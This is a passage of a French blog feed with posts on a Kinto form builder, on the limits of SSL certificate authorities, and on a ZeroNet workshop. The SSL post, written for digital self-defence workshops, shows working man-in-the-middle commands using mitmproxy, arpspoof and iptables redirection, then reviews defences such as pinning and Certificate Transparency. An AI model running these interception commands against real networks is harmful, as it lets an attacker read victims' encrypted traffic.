&lt;p&gt;Au niveau de la &lt;em&gt;stack&lt;/em&gt; technique, le &lt;strong&gt;formbuilder&lt;/strong&gt; est codé en ReactJS. Un
des points techniques intéressants du projet est qu&amp;#8217;il génère en fin de compte du
&lt;a href="http://jsonschema.net/"&gt;&lt;span class="caps"&gt;JSON&lt;/span&gt; Schema&lt;/a&gt;, un format de validation de données &lt;em&gt;&lt;span class="caps"&gt;JSON&lt;/span&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Donc, reprenons! Vous arrivez sur la page d&amp;#8217;accueil puis cliquez sur
&amp;#8220;Create a new form&amp;#8221;, puis vous vous retrouvez face à une interface ou vous pouvez
ajouter des champs de formulaire. Une fois ce travail effectué, vous appuyez sur
&amp;#8220;Create the&amp;nbsp;form&amp;#8221;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Le &lt;span class="caps"&gt;JSON&lt;/span&gt; Schema est alors envoyé au serveur Kinto, qui l&amp;#8217;utilisera pour valider
  les données qu&amp;#8217;il recevra par la&amp;nbsp;suite.&lt;/li&gt;
&lt;li&gt;Ce &lt;span class="caps"&gt;JSON&lt;/span&gt; Schema sera aussi utilisé lors de l&amp;#8217;affichage du formulaire aux
  personnes qui le&amp;nbsp;remplissent.&lt;/li&gt;
&lt;li&gt;Un jeton d&amp;#8217;accès est généré et ajouté à l&amp;#8217;&lt;span class="caps"&gt;URL&lt;/span&gt;, il s&amp;#8217;agit de l&amp;#8217;identifiant du&amp;nbsp;formulaire.&lt;/li&gt;
&lt;li&gt;Un second jeton d&amp;#8217;accès administrateur et généré, il vous faut le garder de
  coté pour avoir accès aux&amp;nbsp;réponses.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bref, en espérant que ça vous serve ! Un petit pas dans la direction des données
rendues à leurs utilisateurs&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Avez vous confiance en SSL?</title><link href="https://blog.notmyidea.org/avez-vous-confiance-en-ssl.html" rel="alternate"></link><published>2016-03-25T00:00:00+01:00</published><updated>2016-03-25T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2016-03-25:/avez-vous-confiance-en-ssl.html</id><summary type="html">&lt;p&gt;Dans le cadre &lt;a href="http://autodefense-numerique.readthedocs.org/en/latest/"&gt;des ateliers d&amp;#8217;autodéfense numérique&lt;/a&gt;,
j&amp;#8217;ai passé un peu de temps à creuser sur l&amp;#8217;utilisation de &lt;span class="caps"&gt;SSL&lt;/span&gt; puisque
contrairement à ce que la plupart des personnes ont encore tendance à croire,
le petit cadenas (qui prouve qu&amp;#8217;une connexion &lt;span class="caps"&gt;SSL&lt;/span&gt; est en cours) n&amp;#8217;est …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Dans le cadre &lt;a href="http://autodefense-numerique.readthedocs.org/en/latest/"&gt;des ateliers d&amp;#8217;autodéfense numérique&lt;/a&gt;,
j&amp;#8217;ai passé un peu de temps à creuser sur l&amp;#8217;utilisation de &lt;span class="caps"&gt;SSL&lt;/span&gt; puisque
contrairement à ce que la plupart des personnes ont encore tendance à croire,
le petit cadenas (qui prouve qu&amp;#8217;une connexion &lt;span class="caps"&gt;SSL&lt;/span&gt; est en cours) n&amp;#8217;est
&lt;strong&gt;absolument&lt;/strong&gt; pas&amp;nbsp;suffisant.&lt;/p&gt;
&lt;p&gt;Allez hop, c&amp;#8217;est parti&amp;nbsp;pour:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un tour d&amp;#8217;horizon du fonctionnement de&amp;nbsp;SSl&lt;/li&gt;
&lt;li&gt;quelques moyens contourner cette &amp;#8220;protection&amp;#8221; en faisant une attaque en&amp;nbsp;pratique&lt;/li&gt;
&lt;li&gt;un tour des solutions existantes actuellement et de pourquoi je ne les trouve
  pas vraiment&amp;nbsp;satisfaisantes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="comment-fonctionne-ssl"&gt;Comment fonctionne &lt;span class="caps"&gt;SSL&lt;/span&gt;?&lt;/h2&gt;
&lt;p&gt;Pour expliquer les problèmes de &lt;span class="caps"&gt;SSL&lt;/span&gt;, j&amp;#8217;ai d&amp;#8217;abord besoin d&amp;#8217;expliquer comment
tout ça&amp;nbsp;fonctionne.&lt;/p&gt;
&lt;p&gt;&lt;span class="caps"&gt;SSL&lt;/span&gt; repose sur l&amp;#8217;utilisation de certificats, qui sont générés par des autorités
de certification (&lt;em&gt;Certificate Authority&lt;/em&gt; que je nomme &lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt; dans la suite de&amp;nbsp;l&amp;#8217;article).&lt;/p&gt;
&lt;p&gt;Les certificats &lt;span class="caps"&gt;SSL&lt;/span&gt; permettent deux&amp;nbsp;choses:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;De garantir que les communications entre les navigateurs (vous) et les sites
  Web ne sont connues que du détenteur du certificat du site et de vous&amp;nbsp;même.&lt;/li&gt;
&lt;li&gt;De garantir que le site sur lequel vous vous connectez est bien celui que
  vous&amp;nbsp;imaginez.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le navigateur, lors d&amp;#8217;une visite d&amp;#8217;un site, va télécharger le certificat
associé puis vérifier que le certificat en question a bien été généré par un
des &lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt; en qui il a&amp;nbsp;confiance.&lt;/p&gt;
&lt;p&gt;Imaginons maintenant qu&amp;#8217;une des &lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt; essaye de savoir ce qui s&amp;#8217;échange entre
mon navigateur et le site de ma banque (protégé par &lt;span class="caps"&gt;SSL&lt;/span&gt;). Comment cela se
passerait il&amp;nbsp;?&lt;/p&gt;
&lt;p&gt;N&amp;#8217;importe quel &lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt; peut donc générer des certificats pour n&amp;#8217;importe quel site,
et le navigateur vérifierait, lui, que le certificat a bien été généré par une
&lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Tout cela ne poserait pas de soucis si les &lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt; étaient gérés de manière fiable,
mais il s&amp;#8217;agit d&amp;#8217;un travail compliqué, et certains &lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt; ont par le passé montré
des&amp;nbsp;faiblesses.&lt;/p&gt;
&lt;p&gt;Par exemple, &lt;a href="https://en.wikipedia.org/wiki/DigiNotar"&gt;DigiNotar&lt;/a&gt; (un &lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt; des Pays-Bas)
a été compromise et les attaquant.e.s ont pu générer des certificats &lt;span class="caps"&gt;SSL&lt;/span&gt;
frauduleux, ce qui leur a permis d&amp;#8217;attaquer des sites tels que Facebook ou&amp;nbsp;GMail.&lt;/p&gt;
&lt;p&gt;Vous pouvez retrouver une liste des risques et menaces autour des &lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt; &lt;a href="http://wiki.cacert.org/Risk/History"&gt;sur le
wiki de CACert&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="attaque-de-lhomme-du-milieu-avec-ssl"&gt;Attaque de l&amp;#8217;homme du milieu avec &lt;span class="caps"&gt;SSL&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;A force de dire que c&amp;#8217;était très facile à faire, j&amp;#8217;ai eu envie d&amp;#8217;essayer
d&amp;#8217;espionner des connections protégées par &lt;span class="caps"&gt;SSL&lt;/span&gt;, et effectivement c&amp;#8217;est
carrément flippant tellement c&amp;#8217;est&amp;nbsp;simple.&lt;/p&gt;
&lt;p&gt;En l&amp;#8217;espace de quelques minutes, il est possible de faire une &lt;em&gt;attaque de
l&amp;#8217;homme du milieu&lt;/em&gt; en utilisant par exemple un outil nommé &lt;a href="http://docs.mitmproxy.org/en/stable"&gt;mitm-proxy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour déchiffrer l&amp;#8217;ensemble du trafic &lt;span class="caps"&gt;SSL&lt;/span&gt;, j&amp;#8217;ai simplement eu à lancer quelques
commandes et avoir un &lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt; dans lequel le navigateur de la victime a confiance.
Je l&amp;#8217;ai ajouté dans le navigateur cible pour simuler que je l&amp;#8217;avais déjà
(c&amp;#8217;est le cas si un des 1200 &lt;span class="caps"&gt;CA&lt;/span&gt; se fait pirater, ce qui me semble une surface
d&amp;#8217;attaque assez&amp;nbsp;large).&lt;/p&gt;
&lt;p&gt;Je les colle ici si ça vous&amp;nbsp;intéresse:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;aptitude&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;mitmproxy
$&lt;span class="w"&gt; &lt;/span&gt;mitm-proxy&lt;span class="w"&gt; &lt;/span&gt;-T&lt;span class="w"&gt; &lt;/span&gt;--host
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Il faut faire croire à votre victime que vous êtes la passerelle vers
l&amp;#8217;extérieur et à la passerelle que vous êtes la&amp;nbsp;victime:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;arpspoof&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;wlan0&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;victime&lt;span class="w"&gt; &lt;/span&gt;gateway
arpspoof&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;wlan0&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;gateway&lt;span class="w"&gt; &lt;/span&gt;victime
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Puis dire à notre fausse passerelle de rediriger le trafic des ports 80 et 443
vers notre&amp;nbsp;proxy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;sysctl&lt;span class="w"&gt; &lt;/span&gt;-w&lt;span class="w"&gt; &lt;/span&gt;net.ipv4.ip_forward&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;iptables&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;nat&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;PREROUTING&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;wlan0&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;tcp&lt;span class="w"&gt; &lt;/span&gt;--dport&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;443&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;REDIRECT&lt;span class="w"&gt; &lt;/span&gt;--to-port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4443&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;iptables&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;nat&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;PREROUTING&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;wlan0&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;tcp&lt;span class="w"&gt; &lt;/span&gt;--dport&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;80&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;REDIRECT&lt;span class="w"&gt; &lt;/span&gt;--to-port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4443&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Et paf, &lt;strong&gt;on voit tout ce qui passe entre la machine et le serveur &lt;span class="caps"&gt;SSL&lt;/span&gt;&lt;/strong&gt;. On peut
d&amp;#8217;ailleurs même imaginer faire tourner ces quelques commandes sur un
raspberry pi, pour aller encore plus&amp;nbsp;vite…&lt;/p&gt;
&lt;h3 id="key-pinning-dans-les-navigateurs"&gt;Key-pinning dans les&amp;nbsp;navigateurs&lt;/h3&gt;
&lt;p&gt;Actuellement, n&amp;#8217;importe quel &lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt; peut générer des certificats pour
n&amp;#8217;importe quel site, et c&amp;#8217;est en grande partie ce qui pose souci. Une des
manières de faire évoluer la situation est d&amp;#8217;épingler les certificats de
certains sites directement dans les&amp;nbsp;navigateurs.&lt;/p&gt;
&lt;p&gt;Cette approche a le mérite de fonctionner très bien &lt;a href="https://dxr.mozilla.org/mozilla-central/source/security/manager/ssl/StaticHPKPins.h?from=StaticHPKPins.h"&gt;pour un petit nombre de
sites critiques (Google, Facebook, etc)&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="http-public-key-pinning-hpkp"&gt;&lt;span class="caps"&gt;HTTP&lt;/span&gt; Public Key Pinning (&lt;span class="caps"&gt;HPKP&lt;/span&gt;)&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://developer.mozilla.org/en/docs/Web/Security/Public_Key_Pinning"&gt;&lt;em&gt;&lt;span class="caps"&gt;HTTP&lt;/span&gt; Public Key Pinning&lt;/em&gt;&lt;/a&gt;
est également une solution de &lt;em&gt;pinning&lt;/em&gt; qui permet d&amp;#8217;établir une confiance lors
de la première connexion avec le site. C&amp;#8217;est ce qu&amp;#8217;on appelle du &lt;em&gt;Trust on First
Use&lt;/em&gt; ou &lt;em&gt;&lt;span class="caps"&gt;TOFU&lt;/span&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Le navigateur va alors mettre ces informations dans un cache et vérifiera que
les certificats correspondent bien lors des prochaines&amp;nbsp;visites.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;span class="caps"&gt;HPKP&lt;/span&gt;&lt;/em&gt; est disponible dans Firefox depuis Janvier 2015 et dans Chrome
depuis Octobre&amp;nbsp;2015.&lt;/p&gt;
&lt;h3 id="certificate-transparency-des-journaux-auditables"&gt;Certificate transparency: des journaux&amp;nbsp;auditables&lt;/h3&gt;
&lt;p&gt;Une autre approche est celle proposée par &lt;em&gt;certificate transparency&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Certificate Transparency aims to remedy these certificate-based threats by
making the issuance and existence of &lt;span class="caps"&gt;SSL&lt;/span&gt; certificates open to scrutiny by
domain owners, CAs, and domain&amp;nbsp;users.&lt;/p&gt;
&lt;p&gt;&amp;#8212; &lt;a href="https://www.certificate-transparency.org/what-is-ct"&gt;Certificate&amp;nbsp;Transparency&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Autrement dit, avec ce système les &lt;em&gt;&lt;span class="caps"&gt;CA&lt;/span&gt;&lt;/em&gt; doivent rendre public le fait qu&amp;#8217;ils
aient signé de nouveaux certificats intermédiaires. La signature est ajoutée à
un journal sur lequel il n&amp;#8217;est possible que&amp;nbsp;d&amp;#8217;écrire.&lt;/p&gt;
&lt;p&gt;Les navigateurs vont alors vérifier que les certificats utilisés sont bien des
certificats qui ont été ajoutés au&amp;nbsp;journal.&lt;/p&gt;
&lt;p&gt;Ici, toute l&amp;#8217;intelligence est dans la vérification de ces journaux, qui
permettent donc de valider/invalider des certificats racines ou&amp;nbsp;intermédiaires.&lt;/p&gt;
&lt;p&gt;Il me semble donc qu&amp;#8217;il serait possible d&amp;#8217;ajouter un certificat frauduleux le
temps d&amp;#8217;une attaque (et celui ci serait détecté et supprimé&amp;nbsp;ensuite).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Certificate-Transparency&lt;/em&gt; n&amp;#8217;est donc pas une solution contre une écoute
globale mise en place par les gouvernements par&amp;nbsp;exemple.&lt;/p&gt;
&lt;p&gt;Si vous lisez bien l&amp;#8217;anglais, je vous invite à aller lire
&lt;a href="http://security.stackexchange.com/a/52838"&gt;cette description du problème et de la solution&lt;/a&gt;
que je trouve très bien&amp;nbsp;écrite.&lt;/p&gt;
&lt;h3 id="dane-dnssec"&gt;&lt;span class="caps"&gt;DANE&lt;/span&gt; + &lt;span class="caps"&gt;DNSSEC&lt;/span&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;span class="caps"&gt;DANE&lt;/span&gt; working group has developed a framework for securely
retrieving keying information from the &lt;span class="caps"&gt;DNS&lt;/span&gt; [&lt;span class="caps"&gt;RFC6698&lt;/span&gt;]. This
framework allows secure storing and looking up server public key
information in the &lt;span class="caps"&gt;DNS&lt;/span&gt;. This provides a binding between a domain
name providing a particular service and the key that can be used
to establish encrypted connection to that&amp;nbsp;service.&lt;/p&gt;
&lt;p&gt;&amp;#8212; &lt;a href="https://datatracker.ietf.org/wg/dane/charter/"&gt;Dane &lt;span class="caps"&gt;WG&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une autre solution est appelée &amp;#8220;&lt;span class="caps"&gt;DANE&lt;/span&gt;&amp;#8221; et repose par dessus le protocole
&lt;em&gt;&lt;span class="caps"&gt;DNSSEC&lt;/span&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Je connais assez mal &lt;em&gt;&lt;span class="caps"&gt;DNSSEC&lt;/span&gt;&lt;/em&gt; donc j&amp;#8217;ai passé un peu de temps à lire des
documents. L&amp;#8217;impression finale que ça me laisse est que le problème est
exactement le même que pour &lt;span class="caps"&gt;SSL&lt;/span&gt;: un certain nombre de personnes détiennent les
clés et toute la sécurité repose sur cette confiance. Or il est possible que
ces clés soient détenues par des personnes non dignes de&amp;nbsp;confiance.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Secure &lt;span class="caps"&gt;DNS&lt;/span&gt; (&lt;span class="caps"&gt;DNSSEC&lt;/span&gt;) uses cryptographic digital signatures signed with a
trusted public key certificate to determine the authenticity of data.
&amp;#8212;&amp;nbsp;https://en.wikipedia.org/wiki/DNS_spoofing&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Et&amp;nbsp;aussi:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It is widely believed[1] that securing the &lt;span class="caps"&gt;DNS&lt;/span&gt; is critically important for
securing the Internet as a whole, but deployment of &lt;span class="caps"&gt;DNSSEC&lt;/span&gt; specifically has
been hampered (As of 22 January 2010) by several&amp;nbsp;difficulties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The need to design a backward-compatible standard that can scale to the
  size of the&amp;nbsp;Internet&lt;/li&gt;
&lt;li&gt;Prevention of &amp;#8220;zone enumeration&amp;#8221; (see below) where&amp;nbsp;desired&lt;/li&gt;
&lt;li&gt;Deployment of &lt;span class="caps"&gt;DNSSEC&lt;/span&gt; implementations across a wide variety of &lt;span class="caps"&gt;DNS&lt;/span&gt; servers
  and resolvers&amp;nbsp;(clients)&lt;/li&gt;
&lt;li&gt;Disagreement among implementers over who should own the top-level domain
  root keys Overcoming the perceived complexity of &lt;span class="caps"&gt;DNSSEC&lt;/span&gt; and &lt;span class="caps"&gt;DNSSEC&lt;/span&gt;&amp;nbsp;deployment&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2 id="solutions-basees-sur-la-blockchain"&gt;Solutions basées sur la&amp;nbsp;blockchain&lt;/h2&gt;
&lt;p&gt;Une dernière piste semble être l&amp;#8217;utilisation de la &lt;em&gt;blockchain&lt;/em&gt; pour distribuer
des clés par&amp;nbsp;site.&lt;/p&gt;
&lt;p&gt;La solution &lt;em&gt;DNSChain&lt;/em&gt; me paraissait tout d&amp;#8217;abord un bon point de départ mais
la lecture de &lt;a href="https://www.indolering.com/okturtles-dnschain-unblock-us"&gt;quelques critiques&lt;/a&gt;
et interventions du développeur du projet m&amp;#8217;ont fait changer&amp;nbsp;d&amp;#8217;avis.&lt;/p&gt;
&lt;p&gt;Reste encore la piste de &lt;em&gt;Namecoin Control&lt;/em&gt; que je n&amp;#8217;ai pas encore creusée.
Peut-être pour un prochain billet. Toute piste de réflexion est bien sur la
bienvenue sur ces&amp;nbsp;sujets!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Retours sur un atelier ZeroNet</title><link href="https://blog.notmyidea.org/retours-sur-un-atelier-zeronet.html" rel="alternate"></link><published>2016-03-17T00:00:00+01:00</published><updated>2016-03-17T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2016-03-17:/retours-sur-un-atelier-zeronet.html</id><summary type="html">&lt;p&gt;Mardi dernier se tenait &lt;a href="http://biblio.insa-rennes.fr/crypto"&gt;une &lt;em&gt;cryptoparty&lt;/em&gt;&lt;/a&gt; dans les locaux de l&amp;#8217;&lt;span class="caps"&gt;INSA&lt;/span&gt; de&amp;nbsp;Rennes.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;évènement s&amp;#8217;étant rempli au delà de toutes les espérances, on m&amp;#8217;a proposé de
venir y tenir un atelier, que j&amp;#8217;ai proposé sur &lt;a href="https://zeronet.io"&gt;ZeroNet&lt;/a&gt;, un
petit projet fort sympathique qui pourrait devenir une …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Mardi dernier se tenait &lt;a href="http://biblio.insa-rennes.fr/crypto"&gt;une &lt;em&gt;cryptoparty&lt;/em&gt;&lt;/a&gt; dans les locaux de l&amp;#8217;&lt;span class="caps"&gt;INSA&lt;/span&gt; de&amp;nbsp;Rennes.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;évènement s&amp;#8217;étant rempli au delà de toutes les espérances, on m&amp;#8217;a proposé de
venir y tenir un atelier, que j&amp;#8217;ai proposé sur &lt;a href="https://zeronet.io"&gt;ZeroNet&lt;/a&gt;, un
petit projet fort sympathique qui pourrait devenir une nouvelle manière de
distribuer le Web, permettant notamment d&amp;#8217;éviter la&amp;nbsp;censure.&lt;/p&gt;
&lt;p&gt;Avant toute autre chose, merci énormément à l&amp;#8217;équipe de la bibliothèque de
l&amp;#8217;&lt;span class="caps"&gt;INSA&lt;/span&gt; pour l&amp;#8217;organisation de cet évènement qui à une réelle portée&amp;nbsp;politique.&lt;/p&gt;
&lt;h2 id="un-peu-dhistoire"&gt;Un peu&amp;nbsp;d&amp;#8217;histoire&lt;/h2&gt;
&lt;p&gt;Il me semble que Tim Bernes Lee (l&amp;#8217;inventeur du Web) avait prévu le Web comme un
protocole décentralisé. Chacun hébergerait ses données et les servirait aux
autres, qui pourraient alors y&amp;nbsp;accéder.&lt;/p&gt;
&lt;p&gt;Avec ce fonctionnement, impossible alors d&amp;#8217;accéder à des sites si leur auteur
n&amp;#8217;est pas en ligne. Qu&amp;#8217;à cela ne tienne, on s&amp;#8217;est mis à avoir des machines qui
restent connectées au réseau 24 heures par jour. Et puis une machine ne
suffisant plus, on a eu des fermes de machines dans des &lt;em&gt;data centers&lt;/em&gt; etc afin
de supporter les milliers d&amp;#8217;utilisateurs des&amp;nbsp;sites.&lt;/p&gt;
&lt;h2 id="un-web-decentralise"&gt;Un Web&amp;nbsp;décentralisé&lt;/h2&gt;
&lt;p&gt;ZeroNet permet (entre autres) de répondre à ce problème en proposant une manière alternative de &lt;strong&gt;distribuer le Web&lt;/strong&gt;, en pair à pair. Lors d&amp;#8217;une visite d&amp;#8217;un&amp;nbsp;site:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Vous contactez un &lt;em&gt;tracker&lt;/em&gt; BitTorrent pour connaitre la liste des autres
   visiteurs du site (les &lt;em&gt;pairs&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;Vous demandez aux &lt;em&gt;pairs&lt;/em&gt; de vous donner les fichiers du&amp;nbsp;site.&lt;/li&gt;
&lt;li&gt;Vous validez que les fichiers servis sont bien les bons (en vérifiant la
   signature&amp;nbsp;attachée).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;N&amp;#8217;importe quel visiteur devient alors un &lt;em&gt;pair&lt;/em&gt;, qui sert le site aux autres&amp;nbsp;visiteurs.&lt;/p&gt;
&lt;p&gt;Parmi les nombreux avantages de cette approche, je note particulièrement&amp;nbsp;que:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Il est très difficile de censurer un site — Il est sur l&amp;#8217;ensemble des machines
  des&amp;nbsp;visiteurs.&lt;/li&gt;
&lt;li&gt;Les attaques par &lt;em&gt;fingerprinting&lt;/em&gt; sont impossibles: le navigateur Web se
  connecte à un serveur &lt;em&gt;proxy&lt;/em&gt;&amp;nbsp;local.&lt;/li&gt;
&lt;li&gt;Vous détenez directement vos données et (par design) ne les donnez pas à des
  silos (Facebook, Google,&amp;nbsp;etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si vous êtes interessés par une démonstration rapide, j&amp;#8217;ai enregistré une vidéo
de 10 minutes où je parle en anglais avec une voix très&amp;nbsp;grave.&lt;/p&gt;
&lt;video controls="" src="http://alexis.notmyidea.org/zeronet.webm" width=800&gt;&lt;/video&gt;

&lt;h2 id="atelier"&gt;Atelier&lt;/h2&gt;
&lt;p&gt;Pour l&amp;#8217;atelier, j&amp;#8217;ai choisi de faire une présentation rapide du projet (&lt;a href="https://blog.notmyidea.org/docs/zeronet-presentation-fr.pdf"&gt;j&amp;#8217;ai
traduit les slides&lt;/a&gt; anglais
pour l&amp;#8217;occasion — &lt;a href="https://docs.google.com/presentation/d/158C_-V1ueNaaKHMBMBgGOVhunb9xrXzB3hC_g1N53c0/edit?usp=sharing"&gt;accès aux sources&lt;/a&gt;)
avant d&amp;#8217;installer ZeroNet sur les machines et de l&amp;#8217;utiliser pour publier un&amp;nbsp;site.&lt;/p&gt;
&lt;h3 id="partager-sur-le-reseau-local"&gt;Partager sur le réseau&amp;nbsp;local&lt;/h3&gt;
&lt;p&gt;Nous avons eu des soucis à cause du réseau (un peu congestionné) sur lequel
les ports utilisés pour la discussion entre &lt;em&gt;pairs&lt;/em&gt; étaient fermés. Il est bien
sur possible de faire tourner le tout de manière indépendante du reste du réseau,
mais je n&amp;#8217;avais pas prévu le&amp;nbsp;coup.&lt;/p&gt;
&lt;p&gt;Voici donc comment faire pour contourner le&amp;nbsp;souci:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Installer et lancer un &lt;em&gt;tracker&lt;/em&gt; BitTorrent (De manière surprenante,
   &lt;a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=685575"&gt;rien n&amp;#8217;est packagé pour debian pour l&amp;#8217;instant&lt;/a&gt;)
   J&amp;#8217;ai choisi d&amp;#8217;installer &lt;a href="http://erdgeist.org/arts/software/opentracker/#build-instructions"&gt;OpenTracker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ensuite lancer ZeroNet avec des options&amp;nbsp;spécifiques.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;python&lt;span class="w"&gt; &lt;/span&gt;zeronet.py&lt;span class="w"&gt; &lt;/span&gt;--trackers&lt;span class="w"&gt; &lt;/span&gt;udp://localhost:6969&lt;span class="w"&gt; &lt;/span&gt;--ip_external&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.43.207
$&lt;span class="w"&gt; &lt;/span&gt;python&lt;span class="w"&gt; &lt;/span&gt;zeronet.py&lt;span class="w"&gt; &lt;/span&gt;--trackers&lt;span class="w"&gt; &lt;/span&gt;udp://192.168.43.207:6969&lt;span class="w"&gt; &lt;/span&gt;--ip_external&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.43.172
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Il est nécessaire de spécifier l&amp;#8217;adresse &lt;span class="caps"&gt;IP&lt;/span&gt; externe que chaque nœud expose pour
éviter qu&amp;#8217;elle n&amp;#8217;essaye d&amp;#8217;aller la trouver par elle même: nous voulons l&amp;#8217;adresse
du réseau local, et non pas l&amp;#8217;adresse&amp;nbsp;internet.&lt;/p&gt;
&lt;p&gt;La prochaine fois je tenterais de venir avec un HotSpot Wifi et un tracker
BitTorrent dans la&amp;nbsp;poche!&lt;/p&gt;
&lt;h2 id="questions-reponses"&gt;Questions /&amp;nbsp;Réponses&lt;/h2&gt;
&lt;p&gt;Il y avait quelques questions intéressantes auxquelles je n&amp;#8217;ai pas toujours su
répondre sur le moment. Après quelques recherches, je rajoute des détails&amp;nbsp;ici.&lt;/p&gt;
&lt;h3 id="torrent-tor-breche-de-secu"&gt;Torrent + Tor = brèche de sécu&amp;nbsp;?&lt;/h3&gt;
&lt;p&gt;Il me semblait avoir entendu parler de problèmes de &lt;em&gt;dé-anonymisation&lt;/em&gt;
